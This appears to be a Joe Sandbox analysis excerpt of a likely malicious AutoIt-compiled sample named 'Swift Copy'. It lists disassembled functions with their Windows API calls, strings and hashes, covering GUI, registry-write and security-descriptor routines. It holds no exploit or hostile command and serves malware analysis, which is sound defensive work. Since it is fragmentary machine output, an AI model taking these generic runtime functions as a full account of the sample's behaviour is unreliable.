API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: a06684f79991b487ab826c588f4f093cc801330d03799a94932f02deeea3a6ac
Instruction ID: b8e2265df091c6aa2196b1ba32f586fb00c0a3c15ef2bde226fc88e5aa319ae7
Opcode Fuzzy Hash: a06684f79991b487ab826c588f4f093cc801330d03799a94932f02deeea3a6ac
Instruction Fuzzy Hash: C4616E76D00218AFDF019FA5DC49AEE7FB9EB09320F204215F915BB2E1D771A980CB90

Function 00E00FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E01128
GetDesktopWindow.USER32 ref: 00E0113D
GetWindowRect.USER32(00000000), ref: 00E01144
GetWindowLongW.USER32(?,000000F0), ref: 00E01199
DestroyWindow.USER32(?), ref: 00E011B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00E011ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E0120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00E0121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00E01232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00E01245
IsWindowVisible.USER32(00000000), ref: 00E012A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 00E012BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 00E012D0
GetWindowRect.USER32(00000000,?), ref: 00E012E8
MonitorFromPoint.USER32(?,?,00000002), ref: 00E0130E
GetMonitorInfoW.USER32(00000000,?), ref: 00E01328
CopyRect.USER32(?,?), ref: 00E0133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 00E013AA

Strings

(, xrefs: 00E0131B
tooltips_class32, xrefs: 00E011E6
0, xrefs: 00E010D3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: c0c976d179dc69d2e5ce6baf158225b188c4e1fe701c322c5b2eac6ab4de7c96
Instruction ID: 663515adc71450cf30f674a5fbcdd226c9a9bf25f0c54d1e7b8cab72c23f3679
Opcode Fuzzy Hash: c0c976d179dc69d2e5ce6baf158225b188c4e1fe701c322c5b2eac6ab4de7c96
Instruction Fuzzy Hash: 2CB1AC71608341AFD714DF65C884B6EBBE4FF84754F00895CF999AB2A1D731E884CBA2

Function 00D88891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D88968
GetSystemMetrics.USER32(00000007), ref: 00D88970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00D8899B
GetSystemMetrics.USER32(00000008), ref: 00D889A3
GetSystemMetrics.USER32(00000004), ref: 00D889C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00D889E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00D889F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00D88A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00D88A3C
GetClientRect.USER32(00000000,000000FF), ref: 00D88A5A
GetStockObject.GDI32(00000011), ref: 00D88A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D88A81

Part of subcall function 00D8912D: GetCursorPos.USER32(?), ref: 00D89141
Part of subcall function 00D8912D: ScreenToClient.USER32(00000000,?), ref: 00D8915E
Part of subcall function 00D8912D: GetAsyncKeyState.USER32(00000001), ref: 00D89183
Part of subcall function 00D8912D: GetAsyncKeyState.USER32(00000002), ref: 00D8919D

SetTimer.USER32(00000000,00000000,00000028,00D890FC), ref: 00D88AA8

Strings

AutoIt v3 GUI, xrefs: 00D88A20

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: f44b002c16ed9040f69fd4476e256f5c2b0161718a97d2ea10c43861e60f46a5
Instruction ID: cdb1e9ca51db69d3633b95fd3f2ec4149a84b598a1c0036cfa473b7c71ee1588
Opcode Fuzzy Hash: f44b002c16ed9040f69fd4476e256f5c2b0161718a97d2ea10c43861e60f46a5
Instruction Fuzzy Hash: 2CB16B75A0020A9FDF14EFA9DC45BAA3BB5FB48314F144229FA15A72D0DB70E885CF61

Function 00DD0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD1114
Part of subcall function 00DD10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1120
Part of subcall function 00DD10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD112F
Part of subcall function 00DD10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1136
Part of subcall function 00DD10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00DD0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00DD0E29
GetLengthSid.ADVAPI32(?), ref: 00DD0E40
GetAce.ADVAPI32(?,00000000,?), ref: 00DD0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00DD0E96
GetLengthSid.ADVAPI32(?), ref: 00DD0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 00DD0EB5
HeapAlloc.KERNEL32(00000000), ref: 00DD0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00DD0EDD
CopySid.ADVAPI32(00000000), ref: 00DD0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00DD0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00DD0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00DD0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0F6E
HeapFree.KERNEL32(00000000), ref: 00DD0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0F7E
HeapFree.KERNEL32(00000000), ref: 00DD0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00DD0F8E
HeapFree.KERNEL32(00000000), ref: 00DD0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 00DD0FA1
HeapFree.KERNEL32(00000000), ref: 00DD0FA8

Part of subcall function 00DD1193: GetProcessHeap.KERNEL32(00000008,00DD0BB1,?,00000000,?,00DD0BB1,?), ref: 00DD11A1
Part of subcall function 00DD1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00DD0BB1,?), ref: 00DD11A8
Part of subcall function 00DD1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00DD0BB1,?), ref: 00DD11B7

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: a2dcb09ff932e3b342a1471e3224a7b858e6b4d9895734a0d3519914d37b63ee
Instruction ID: 4c5366c0f8a611826e17534f75efbc8acd3f9f74cf92c56206c6dfbdcd32f022
Opcode Fuzzy Hash: a2dcb09ff932e3b342a1471e3224a7b858e6b4d9895734a0d3519914d37b63ee
Instruction Fuzzy Hash: E671407290420AAFDF209FA5DC48BEEBBB8FF44310F284216F955B6291D7719945CB70

Function 00DFC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DFC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,00E0CC08,00000000,?,00000000,?,?), ref: 00DFC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 00DFC5A4
_wcslen.LIBCMT ref: 00DFC5F4
_wcslen.LIBCMT ref: 00DFC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 00DFC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 00DFC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 00DFC84D
RegCloseKey.ADVAPI32(?), ref: 00DFC881
RegCloseKey.ADVAPI32(00000000), ref: 00DFC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 00DFC960

Strings

REG_EXPAND_SZ, xrefs: 00DFC5CD
REG_DWORD, xrefs: 00DFC804
REG_BINARY, xrefs: 00DFC913
REG_MULTI_SZ, xrefs: 00DFC6F5
REG_SZ, xrefs: 00DFC644
REG_QWORD, xrefs: 00DFC8C3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: d51a33349a6a0b87588b16e2c72615ccf16a7b28640794acaaeaf5c0f2ad67b8
Instruction ID: 94a07c0f2baa351458f8ccbf3e4f48e1f592677113d33d219e5d7366d3b4c13f
Opcode Fuzzy Hash: d51a33349a6a0b87588b16e2c72615ccf16a7b28640794acaaeaf5c0f2ad67b8
Instruction Fuzzy Hash: C2127A352142059FDB14DF14C981E2AB7E5EF88714F19C85CF98A9B3A2EB31EC41CBA1

Function 00E0091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00E009C6
_wcslen.LIBCMT ref: 00E00A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E00A54
_wcslen.LIBCMT ref: 00E00A8A
_wcslen.LIBCMT ref: 00E00B06
_wcslen.LIBCMT ref: 00E00B81

Part of subcall function 00D8F9F2: _wcslen.LIBCMT ref: 00D8F9FD

Part of subcall function 00DD2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00DD2BFA

Strings

GETTEXT, xrefs: 00E00C97
GETITEMCOUNT, xrefs: 00E00C1E
GETSELECTED, xrefs: 00E00C4E
UNCHECK, xrefs: 00E00D3E
SELECT, xrefs: 00E00D11
ISCHECKED, xrefs: 00E00CE1
EXISTS, xrefs: 00E00B7C, 00E00B97
CHECK, xrefs: 00E00A85, 00E00AA0
GETTOTALCOUNT, xrefs: 00E009F2, 00E00A17
COLLAPSE, xrefs: 00E00B01, 00E00B1C
EXPAND, xrefs: 00E00BF8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: eb0624db911c265ce1dbaa71ac33a300b2039503cb4132296d05add8867017ed
Instruction ID: a4aad1419aeb93ed143e75024e669543c48042186f9ed91b7b93f238d00b4fb2
Opcode Fuzzy Hash: eb0624db911c265ce1dbaa71ac33a300b2039503cb4132296d05add8867017ed
Instruction Fuzzy Hash: 79E1AE312083019FC714EF24C451A6AB7E1FF98318F54995DF89AAB3A2D730ED85CBA1

Function 00DFC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DFB6AE,?,?), ref: 00DFC9B5
_wcslen.LIBCMT ref: 00DFC9F1
_wcslen.LIBCMT ref: 00DFCA68
_wcslen.LIBCMT ref: 00DFCA9E
_wcslen.LIBCMT ref: 00DFCAF9
_wcslen.LIBCMT ref: 00DFCB2F
_wcslen.LIBCMT ref: 00DFCB7F

Strings

HKEY_CURRENT_CONFIG, xrefs: 00DFCB79, 00DFCB7E
HKCR, xrefs: 00DFCB29, 00DFCB2E
HKEY_LOCAL_MACHINE, xrefs: 00DFCA62, 00DFCA67
HKCC, xrefs: 00DFCBAC
HKU, xrefs: 00DFCBF0
HKCU, xrefs: 00DFCBCE
HKEY_CLASSES_ROOT, xrefs: 00DFCAF3, 00DFCAF8
HKEY_USERS, xrefs: 00DFCBDF
HKLM, xrefs: 00DFCA98, 00DFCA9D
HKEY_CURRENT_USER, xrefs: 00DFCBBD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 61ce47ddd69c36a9ac8e58f64b104db1dee7941bdaf437f52cd6e675c00f804d
Instruction ID: afba2b1cae2e2b178ae7e955d05b07b405e9d8f26a376e8a1fe970aafde3cc15
Opcode Fuzzy Hash: 61ce47ddd69c36a9ac8e58f64b104db1dee7941bdaf437f52cd6e675c00f804d
Instruction Fuzzy Hash: E271193262012E8BCB20DE3CCE525BE3391DFA0754F1AA528FD95A7284E631DD65C7B0

Function 00E0833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E0835A
_wcslen.LIBCMT ref: 00E0836E
_wcslen.LIBCMT ref: 00E08391
_wcslen.LIBCMT ref: 00E083B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00E083F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00E0361A,?), ref: 00E0844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E08487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00E084CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00E08501
FreeLibrary.KERNEL32(?), ref: 00E0850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E0851D
DestroyIcon.USER32(?), ref: 00E0852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00E08549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00E08555

Strings

.icl, xrefs: 00E08368
.exe, xrefs: 00E08388
.dll, xrefs: 00E083AB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 10a442db9943532e49d353c295726208c1c705509d37f1130fb292db9b123cc1
Instruction ID: 3ccad150b56b8adc451e7cbe350e8cd381eb094d8ee4919089bc2b4c2df15dd9
Opcode Fuzzy Hash: 10a442db9943532e49d353c295726208c1c705509d37f1130fb292db9b123cc1
Instruction Fuzzy Hash: 8B61EF71500219BEEB14DF64CD85FBE7BA8FB04B21F205609F855E61D1DB74A980CBA0

Function 00D77778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 00D777E7
", xrefs: 00DB5153
#include-once, xrefs: 00D7782F
#ce, xrefs: 00D778ED
Bad directive syntax error, xrefs: 00DB519A
#OnAutoItStartRegister, xrefs: 00D77817
Cannot parse #include, xrefs: 00DB5279
#requireadmin, xrefs: 00D777FF
#comments-start, xrefs: 00D7785F, 00D778B1
#comments-end, xrefs: 00D778D9
Unterminated group of comments, xrefs: 00DB528C
', xrefs: 00DB5169
#include, xrefs: 00D77847
#pragma compile, xrefs: 00D777D3
#cs, xrefs: 00D77873, 00D778C5

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 68662536c01653fa57e26f676a7f025b0711355cc4d64fb5339eb28d81bc9ca1
Instruction ID: cc6521e06ae7a7ee4acb59bcd80d60fb9184235657e6ad07485f8e3a84f82daf
Opcode Fuzzy Hash: 68662536c01653fa57e26f676a7f025b0711355cc4d64fb5339eb28d81bc9ca1
Instruction Fuzzy Hash: 1C812371A04305BBDB25AF64DC92FEE77A8EF15740F088424F809AA186FB71DA51C7B1

Function 00DD5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00DD5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00DD5A40
SetWindowTextW.USER32(?,?), ref: 00DD5A57
GetDlgItem.USER32(?,000003EA), ref: 00DD5A6C
SetWindowTextW.USER32(00000000,?), ref: 00DD5A72
GetDlgItem.USER32(?,000003E9), ref: 00DD5A82
SetWindowTextW.USER32(00000000,?), ref: 00DD5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00DD5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00DD5AC3
GetWindowRect.USER32(?,?), ref: 00DD5ACC
_wcslen.LIBCMT ref: 00DD5B33
SetWindowTextW.USER32(?,?), ref: 00DD5B6F
GetDesktopWindow.USER32 ref: 00DD5B75
GetWindowRect.USER32(00000000), ref: 00DD5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00DD5BD3
GetClientRect.USER32(?,?), ref: 00DD5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00DD5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00DD5C2F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: f8a155c22e6828291776a9aab54d33cfecc22f3a3ca304661743018af7475826
Instruction ID: 0d0f769794c8ccc2f6c2fccc93025b5ba5e8d9e1d1637ea0cbd7a7b5ad84711e
Opcode Fuzzy Hash: f8a155c22e6828291776a9aab54d33cfecc22f3a3ca304661743018af7475826
Instruction Fuzzy Hash: FC717F31900B05AFDB20DFA9DD85B6EBBF5FF48704F14461AE182A26A4D775E944CF20

Function 00DD30F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DD318D
_wcslen.LIBCMT ref: 00DD31F8

Strings

REGEXPCLASS, xrefs: 00DD3255, 00DD3266
INSTANCE, xrefs: 00DD3453
NAME, xrefs: 00DD3335, 00DD3346
CLASS, xrefs: 00DD3188, 00DD31A5
[, xrefs: 00DD339A
TEXT, xrefs: 00DD347C
CLASSNN, xrefs: 00DD31F3, 00DD3204

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[
API String ID: 176396367-1901692981
Opcode ID: 3c47d3bc829e5809837bb4ccb41cecb74dd4b090942c14621cf9616e6d2f1ed8
Instruction ID: c767b147dda596665041bd388c085769bec3d09b4ba23fdf862f6758321a4fcc
